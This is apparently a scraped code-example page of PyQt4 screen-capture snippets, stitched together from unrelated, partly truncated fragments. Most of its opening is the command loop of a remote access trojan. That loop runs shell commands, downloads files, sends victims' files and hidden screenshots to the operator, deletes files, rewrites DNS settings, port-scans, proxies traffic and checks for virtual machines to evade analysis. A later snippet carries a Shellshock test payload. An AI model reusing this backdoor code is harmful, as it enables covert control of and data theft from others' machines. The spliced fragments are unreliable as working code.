			out, err, returncode = execute_command("cd '" + xdirectory + "';" + msg)
			
			result = str(out) + str(err)

			if result == "" and returncode == 0:
				result = "Successful Execution"

			if len(err) != 0 and returncode != 0:
				result = "[-] Unknown Command"

			send_data(conn, result)
		elif command.split(" ")[0] == "download":
			url = command.split(" ")[1]
			f_name = command.split(" ")[2]

			try:
				import urllib2
			except ImportError:
				send_data(conn, "Urllib2 is not installed on Remote Host")
				continue

			try:
				u = urllib2.urlopen(url)
			except Exception:
				send_data(conn, "Connection to the Download Host from Remote Host failed.")
				continue

			try:
				f = open(f_name, 'wb')
			except Exception:
				send_data(conn, "Cannot write to specified directory.")
				continue

			meta = u.info()

			try:
				file_size = int(meta.getheaders("Content-Length")[0])
				send_data(conn, "[OK]%s,%s" % (file_size, os.path.abspath(f_name)))
			except Exception:
				send_data(conn, "Cannot Determine file size.")
				continue

			file_size_dl = 0
			block_sz = 8192

			while True:
				buf = u.read(block_sz)
				if not buf:
					break

				file_size_dl += len(buf)
				f.write(buf)

				status = " %s [ %3.2f% % ]" % (file_size_dl, file_size_dl * 100. / file_size)
				send_data(conn, status)

			f.close()
			send_data(conn, "[X][X]xDownload[X][X]")
		elif command.split(" ")[0] == "sys_users":
			res = sys_users()
			send_data(conn, res)
		elif command.split(" ")[0] == "send":
			directory = ""
			filename = ""

			if len(command.split(" ")) == 2:
				directory = xdirectory
				filename = command.split(" ")[1]
			else:
				directory = command.split(" ")[1]
				filename = command.split(" ")[2]

			if os.path.exists(directory) == False:
				conn.send("DirerrorOK")
			else:
				conn.send("ALLSYSISGO")
				size = long(conn.recv(24)[5:])
				conn.send("ACK")
				recv_file_in(conn, directory, filename,size)
		elif command.split(" ")[0] == "encryption":
			if len(command.split(" ")) == 1:
				res = ""
				try:
					import base64
					res = "[+] Base64 Encoding Is Supported"
				except ImportError:
					res = "[-] Base64 Encoding Is Not Supported"

				try:
					from Crypto.Cipher import AES
					from Crypto.Hash import SHA256
					res += "\n[+] AES Encryption Is Supported"
				except ImportError:
					res += "\n[-] AES Encryption Is Not Supported"

				try:
					from Crypto.Cipher import PKCS1_OAEP
					from Crypto.PublicKey import RSA
					res += "\n[+] RSA Encryption Is Supported"
				except ImportError:
					res += "\n[-] RSA Encryption Is Not Supported"

				try:
					import struct
					res += "\n[+] Struct Packing Is Supported"
				except ImportError:
					res += "\n[+] Struct Packing Is Not Supported\n"

				send_data(conn, res)
			elif len(command.split(" ")) == 2 and command.split(" ")[1] == "base64":
				#Base64
				try:
					import base64
					send_data(conn, "OK")
					Encryption_Objects.base64_object = True
				except ImportError:
					Encryption_Objects.base64_object = False
					send_data(conn, "FAIL")
					continue
			elif len(command.split(" ")) == 2 and command.split(" ")[1] == "--disable":
				send_data(conn, "OK")
				Encryption_Objects.base64_object = False
				Encryption_Objects.struct_object = False
				Encryption_Objects.aes_object = False
				Encryption_Objects.rsa_object = False
		elif command.split(" ")[0] == "terminate":
			pid = int(command.split(" ")[1])

			try:
				os.kill(pid, signal.SIGTERM)
				send_data(conn, "OK")
			except OSError:
				send_data(conn, "FAIL")
			except Exception as e:
				send_data(conn, "%s" % (str(e)))
		elif command.split(" ")[0] == "clone":
			start_dir = ' '.join(command.split(" ")[1:])
			directories = enumerate_directories(start_dir)
			send_data(conn, directories)
			ack = conn.recv(12)
			if ack == "ACKNOWLEDGED":
				enumerate_read_send(conn, start_dir)
		elif command.strip() == "pwd":
			send_data(conn, "[OK]%s" % (xdirectory))
		elif command.split(" ")[0] == "cd":
			res = 1
			args = ""

			while len(command.split(" ")) > res:
				args += command.split(" ")[res] + " "
				res += 1

			args = args.strip().replace("//", "/")
			if args[0] == "/":
				if os.path.isdir(args) == False:
					send_data(conn, "1")
				else:
					if args[-1] == "/" and len(args) > 1:
						args = args[:-1]
					xdirectory = os.path.normpath(args).replace("//", "/")
					send_data(conn, xdirectory)
			else:
				tmp = os.path.normpath(xdirectory + "/" + args).replace("//", "/")
				if os.path.isdir(tmp) == False:
					send_data(conn, "1")
				else:
					xdirectory = tmp
					send_data(conn, xdirectory)

		elif command.split(" ")[0] == "kill":
			send_data(conn,"Shell@" + os.uname()[1] +" Shutdown Successful")
			time.sleep(2)
			conn.close()
			sys.exit(0)
		elif command.split(" ")[0] == "screenshot":
			try:
				import pyscreenshot as ImageGrab
				im = ImageGrab.grab()

				tmp_dir = ''

				try:
					import tempfile
					tmp_dir = tempfile.gettempdir() + "/"
				except ImportError as e:
					tmp_dir = "/tmp/"

				tmp_fname = "." + str(random.randint(0,1000000000)) + '.png'
				
				tmp_name = tmp_dir + tmp_fname

				ImageGrab.grab_to_file(tmp_name)

				f_data = open(tmp_name, 'rb')
				f_datar = f_data.read()
				f_data.close()
				
				send_data(conn, "0<3>" + tmp_fname + "<3>" + f_datar)
				
				os.unlink(tmp_name)
				continue
			except Exception as e:
				pass

			try:
				from PyQt4.QtGui import QPixmap, QApplication
				app = QApplication(sys.argv)

				try:
					import tempfile
					tmp_dir = tempfile.gettempdir() + "/"
				except Exception:
					tmp_dir = "/tmp/"

				tmp_fname = str(random.randint(0,1000000000)) + '.png'
				
				tmp_name = tmp_dir + tmp_fname

				QPixmap.grabWindow(QApplication.desktop().winId()).save(tmp_name, 'png')

				f_data = open(tmp_name, 'rb')
				f_datar = f_data.read()
				f_data.close()
				
				send_data(conn, "0<3>" + tmp_fname + "<3>" + f_datar)
				
				os.unlink(tmp_name)
				continue
			except Exception as e:
				pass

			send_data(conn, "1<3>The Current Supported Modules Are Not Installed On Remote Host\n\n	 PyScreenShot { easy_install pyscreenshot, pip install pyscreenshot }\n	 PyQt4 QtGui QPixmap QApplication { apt-get install <> }")
		elif command.split(" ")[0] == "devices":
			dpe = collector()
			send_data(conn, str(dpe))
		elif command.split(" ")[0] == "interfaces":
			dp = localifs()
			send_data(conn, str(dp))
		elif command.split(" ")[0] == "surf_proxy":
			buffer_size = 65535

			for x in command.split(" ")[1:]:
				d = x.strip()
				if d[:3] == "bs=" and d[3:].isdigit() == True and d[3:] <= 65535:
					buffer_size = int(d[3:])

			send_data(conn, "OK")

			while 1:
				try:
					rdata = conn.recv(buffer_size)

					if rdata != "quit":
						start_new_thread(conn_string, (conn, rdata, buffer_size,))
				except Exception as e:
					send_data(conn, "[-2]Reason:" + str(e))
					return

		elif command.split(" ")[0] == "dnsch":
			path = "/etc/resolv.conf"
			dns = "# Generated by NetworkManager\n"

			for x in command.strip().split(" ")[1:]:
				if x[:8] == "--conf={" and x[-1] == "}":
					d = x[8:]
					d = d[:-1]
					path = d
				elif x.count(".") == 3:
					dns += "nameserver %s\n" % (x.strip())
			
			if os.access(path, os.F_OK):
				if os.access(path, os.W_OK):
					with open(path, "wb") as conf:
						conf.write(dns)

					send_data(conn,"[+] DNS Configuration Changed")
				else:
					send_data(conn,"[-] The file \"%s\" is not writable" % (path))
			else:
				send_data(conn,"[-] The file \"%s\" does not exist" % (path))
		elif command.split(" ")[0] == "portscan":
			mini_port = 1
			max_port = 1024
			host_addr = ''
			flawed_addr = ''

			arguments = command.split(" ")[1:]

			for x in arguments:
				if x[:3] == "p={" and x[-1] == "}" and x.count(",") == 1:
					d = x
					d = d[3:]
					d = d[:-1].split(",")
					try:
						mini_port = int(d[0].strip())
						max_port = int(d[1].strip())
					except Exception as e:
						mini_port = 1
						max_port = 1024
				elif x[:2] == "t=" and x.count(".") == 3:
					d = x
					d = d[2:].strip()
					try:
						host_addr = socket.gethostbyname(d)
					except Exception as e:
						host_addr = ''
						flawed_addr = d
						continue

			if host_addr == '':
				send_data(conn, "[-] Hosterror:%s" % (flawed_addr))
			else:
				dp = scan_ports(host_addr, mini_port, max_port)
				send_data(conn, str(dp))
		elif command.split(" ")[0] == "cat":
			file_path = ' '.join(command.split(' ')[1:])
			fils = file_path.split(",")

			final_data = ""

			for each_x in fils:
				each_x = each_x.strip()

				if each_x[0] != "/":
					each_x = xdirectory + "/" + each_x

				if os.path.exists(each_x):
					fopen = open(each_x, 'rb')
					k = fopen.read()
					fopen.close()
					final_data += "[+] File Content for: %s\n\n%s\n\n" % (each_x, k)
				else:
					final_data += "[-] File Doesn't Exist for: %s\n\n" % (each_x)

			send_data(conn, final_data)
		elif command.split(" ")[0] == "remove":
			filepath = ' '.join(command.split(" ")[1:])
			t = ''
			for x in filepath.split(","):
				path = x.strip()

				if path[0] != "/":
					path = xdirectory + "/" + path

				if os.path.exists(path):
					try:
						os.unlink(path)
						t += "[+] %s has been deleted.\n" % (path)
					except OSError:
						t += "[-] %s failed to be deleted.\n" % (path)
					except Exception as e:
						t += str(e)
				else:
					t += "[-] %s does not exist." % (path)

			send_data(conn, t)
		elif command.strip() == "check_priv":
			if not os.geteuid() == 0:
				st = "[-]FAIL[-]"
			else:
				st = "[+]SUCCESS[+]"
			send_data(conn, st)
		elif command.split(" ")[0] == "ps":
			argum = ""

			if len(command.split(" ")) > 1:
				argum = ' '.join(command.split(" ")[1:])
			else:
				argum = "aux"
			
			out, err, returncode = execute_command("ps %s" % (argum))

			msg = str(out) + str(err)

			send_data(conn, msg)
		elif command.split(" ")[0] == "ls":
			directory = ' '.join(command.split(" ")[1:])

			if os.path.isdir(directory) == False:
				send_data(conn, "[-] Directory Does Not Exist!")
				continue

			out, err, returncode = execute_command("ls -la \"%s\"" % (directory))

			msg = str(out) + str(err)

			send_data(conn, msg)
		elif command.split(" ")[0] == "lookup":
			directory = command.split(" ")[2]
			filename = command.split(" ")[1]

			if os.path.isdir(directory) == False:
				send_data(conn, "D-error")
			else:
				send_data(conn, "D-ok")
				time.sleep(1)
				enumerate_find_send(conn,directory,filename)
				
		elif command.split(" ")[0] == "retrieve":
			filename = ' '.join(command.split(" ")[1:])
			b = retrieve_encryption_buffer_size(0)

			if os.path.isfile(filename) == False:
				msg = "IO-error"
				enc = msg
				enc += '~' * (b - (len(enc) % b))
				conn.send(enc)
			elif os.path.isdir(filename):
				msg = "Direrror"
				enc = msg
				enc += '~' * (b - (len(enc) % b))
				conn.send(enc)
			elif os.path.exists(filename) == False:
				msg = "IO-error"
				enc = msg
				enc += '~' * (b - (len(enc) % b))
				conn.send(enc)
			else:
				fsize = str(os.path.getsize(filename)).zfill(16)
				msg = "OK-SIZE:" + fsize
				enc = msg
				
				conn.send(enc)
				initiate_file_transfer(conn, filename)
		elif command.split(" ")[0] == "check_vm":
			return_data = ''

			###########################################################################################
			out, err, returncode = execute_command("dmesg | grep 'Hypervisor detected'")
			if returncode == 0:
				if "Hypervisor detected" in out and "virtualbox" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: VirtualBox\n"
				elif "Hypervisor detected" in out and "kvm" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: KVM\n"
			###########################################################################################
			out, err, returncode = execute_command("dmidecode | egrep -i 'manufacturer|product'")
			if returncode == 0:
				if "microsoft" in out.strip().lower() and "corporation" in out.strip().lower() and "virtual" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: Microsoft VirtualPC\n"
			###########################################################################################
			out, err, returncode = execute_command("dmidecode -s system-product-name")
			if returncode == 0:
				if out.strip() == "VirtualBox":
					return_data += "[+] Virtualization Technology:: VirtualBox\n"
				elif "vmware" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: VMware Virtual Platform\n"
				elif "kvm" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: Qemu with KVM\n"
				elif "bochs" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: Qemu () Emulated )\n"
			#############################################################################################
			out, err, returncode = execute_command("ls -1 /dev/disk/by-id/")
			if returncode == 0:
				if "VBOX_HARDDISK" in out or "VBOX_CD-ROM" in out:
					return_data += "[+] Virtualization Technology:: VirtualBox\n"
				elif "QEMU_HARDDISK" in out or "QEMU_CD-ROM" in out or "QEMU_DVD-ROM" in out:
					return_data += "[+] Virtualization Technology:: QEMU\n"
			##############################################################################################
			out, err, returncode = execute_command("lsmod")
			if returncode == 0:
				if "vboxguest" in out or "vboxvideo" in out:
					return_data += "[+] Virtualization Technology:: VirtualBox\n"
			##############################################################################################
			out, err, returncode = execute_command("dmidecode")
			if returncode == 0:
				if "permission denied" in out.strip().lower() and "/dev" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: Virtuozzo\n"
			##############################################################################################
			out, err, returncode = execute_command("dmidecode | grep -i domU")
			if returncode == 0:
				if "hvm" in out.strip().lower() and "domu" in out.strip().lower():
					return_data += "[+] Virtualization Technology:: HVM domU\n"

			###############################################################################################
			if len(return_data) == 0 or return_data == "":
				return_data = "[-] Unable to detect any virtualization environment."

			send_data(conn, return_data)
import datetime
import sys
import os
import shutil
from PyQt4.QtGui import QPixmap, QApplication

# ---- Grab the screen shot
app = QApplication(sys.argv)
now = datetime.datetime.now()
date_and_time = now.strftime("%Y_%m_%d_%H_%M_%S")
QPixmap.grabWindow(QApplication.desktop().winId()).save(date_and_time, 'png')

# ---- Create he screencaps folder if needed and copy the captures to the folder
folder = "screencaps"
src = date_and_time

if not os.path.exists(folder):
    os.mkdir( folder, 0755 );
   
if os.path.exists(folder):
    shutil.move(src, folder)





    
示例#48
0
#coding=utf-8

import sys  
from PyQt4.QtGui import QPixmap, QApplication  

app = QApplication(sys.argv)  
QPixmap.grabWindow(QApplication.desktop().winId()).save('grab_qt_demo.png', 'png')  
示例#49
0
def qt4(fname):
    from PyQt4.QtGui import QPixmap, QApplication
    app = QApplication(sys.argv)
    QPixmap.grabWindow(QApplication.desktop().winId()).save(
        '%s.png' % fname, 'png')
示例#50
0
 def showEvent(self, event):
     '''Update the screen BG when the selector is shown'''
     self.bg = QPixmap.grabWindow(QApplication.desktop().winId())
     self.screen_geometry = QApplication.desktop().screenGeometry(self)
示例#51
0
#script to screen capture everything and then clip it to automate the video
import sys
import os
from PyQt4.QtGui import QPixmap, QApplication
from PIL import Image

os.chdir('D:\\CHANG\\PhD_Material\\Conferences_workshops\\102014_GYCC_WBP')
app = QApplication(sys.argv)

QPixmap.grabWindow(QApplication.desktop().winId()).save('temp.png', 'png')
im = Image.open('temp.png')

l = 200
u = 139
r = 1833
d = 943
name = 'PIAL_2070.png'
im.crop((l, u, r, d)).save(name)
示例#52
0
    for i in range(qDesktop.numScreens()):
        print(
            'Screen # %s %sx%s' % (i, qApp.desktop().screenGeometry(i).width(),
                                   qApp.desktop().screenGeometry(i).height()))

    sys.exit('usage: %s [-h] d i p' % sys.argv[0])

try:
    ip = ipaddr.IPAddress(arguments.i)
except ValueError as e:
    print(e)
    sys.exit('usage: %s [-h] d i p' % sys.argv[0])

# Get Screen Geometry for Given Screen.
qScreenRect = qApp.desktop().screenGeometry(arguments.d)

rpcClient = zerorpc.Client("tcp://%s:%s" % (arguments.i, arguments.p))

ledArray = LedArray(rpcClient, qScreenRect.width(), qScreenRect.height(), 64,
                    34, 34, 21, 21, 3, 1)

while True:

    image = QPixmap.grabWindow(QApplication.desktop().winId(), qScreenRect.x(),
                               qScreenRect.y(), qScreenRect.width(),
                               qScreenRect.height()).toImage()

    ledArray.updateArray(image)

    time.sleep(1 / 20)
示例#53
0
def save_screen(mobile):
    import sys
    from PyQt4.QtGui import QPixmap, QApplication
    app = QApplication(sys.argv)
    QPixmap.grabWindow(QApplication.desktop().winId()).save('%s.png' % mobile, 'png')
示例#54
0
def capture_desktop(sender):
    QPixmap.grabWindow(QApplication.desktop().winId()).save('/tmp/screenshot.png', 'png')
示例#55
0

if __name__ == '__main__':
    try:
        thread.start_new_thread(train, ())
        next_clock = time.clock() + interval
        save_iter = 10000
        save_count = 0
        action = None
        action_q = q.copy()
        action_q.reset_state()
        while True:
            if action is not None:
                game.play(action)

            pixmap = QPixmap.grabWindow(window_id, left, top, w, h)
            image = pixmap.toImage()
            bits = image.bits()
            bits.setsize(image.byteCount())
            screen = Image.fromarray(
                np.array(bits).reshape((h, w, 4))[:, :, 2::-1])
            reward, terminal = game.process(screen)
            logging.debug("reward={}, terminal={}".format(reward, terminal))
            if reward is not None:
                train_image = xp.asarray(
                    screen.resize(
                        (train_width,
                         train_height))).astype(np.float32).transpose(
                             (2, 0, 1))
                train_image = Variable(
                    train_image.reshape((1, ) + train_image.shape) / 127.5 - 1,
#!/usr/bin/python
import sys 
from PyQt4.QtGui import QPixmap, QApplication
import os
os.system("clear")
os.system("echo \"***************************************************************** \" ")
os.system("echo \"Machine Details \" ")
os.system("echo \"***************************************************************** \" ")
os.system("uname -a")
os.system("date")
os.system("hostname")
os.system("ifconfig | grep 'inet addr'")
os.system("echo \"***************************************************************** \" ")
os.system("echo \"Result Of The Test \" ")
os.system("echo \"***************************************************************** \" ")
os.system("env x='() { :;}; echo Machine is vulnerable to Shellshock' bash -c \"echo Tested by Silent Ethical Hacker\"")
app = QApplication(sys.argv)
QPixmap.grabWindow(QApplication.desktop().winId()).save('Shellshock_POC.png','png')


os.system("echo \"***************************************************************** \" ")
os.system("echo \"Shellshock Testing Script \" ")
os.system("echo \"Name:     shocking Shell \" ")
os.system("echo \"Author:   Shekhar Suman & Akriti Srivastava \" ")
os.system("echo \"URL:      http://silentethicalhacker.blogspot.com/ \" ")
os.system("echo \"Date:     October 2014\" ")

os.system("echo \"***************************************************************** \" ")
示例#57
0
def grab():
    pix = QPixmap.grabWindow(QApplication.desktop().winId())
    return pix.toImage()
示例#58
0
from PyQt4 import QtGui

a = QtGui.QApplication

import sys
from PyQt4.QtGui import QPixmap, QApplication
from datetime import datetime

import sys
from PyQt4.QtGui import QPixmap, QApplication
from datetime import datetime

date = datetime.now()
filename = date.strftime('%Y-%m-%d_%H-%M-%S.jpg')
app = QApplication(sys.argv)
QPixmap.grabWindow(QApplication.desktop().winId()).save(filename, 'jpg')

#===============================================================================
# filename = '/home/shreya/Downloads/abcd.jpg'
# app = QApplication(sys.argv)
# QPixmap.grabWindow(QApplication.desktop().winId()).save(filename, 'jpg')
#
# frame = QtGui.QFrame()
# frame.setFrameStyle(QtGui.QFrame.StyledPanel)
# frame.setLineWidth(2)
#===============================================================================
'''
    def shootScreen(self):
        if self.delaySpinBox.value() != 0:
            QApplication.instance().beep()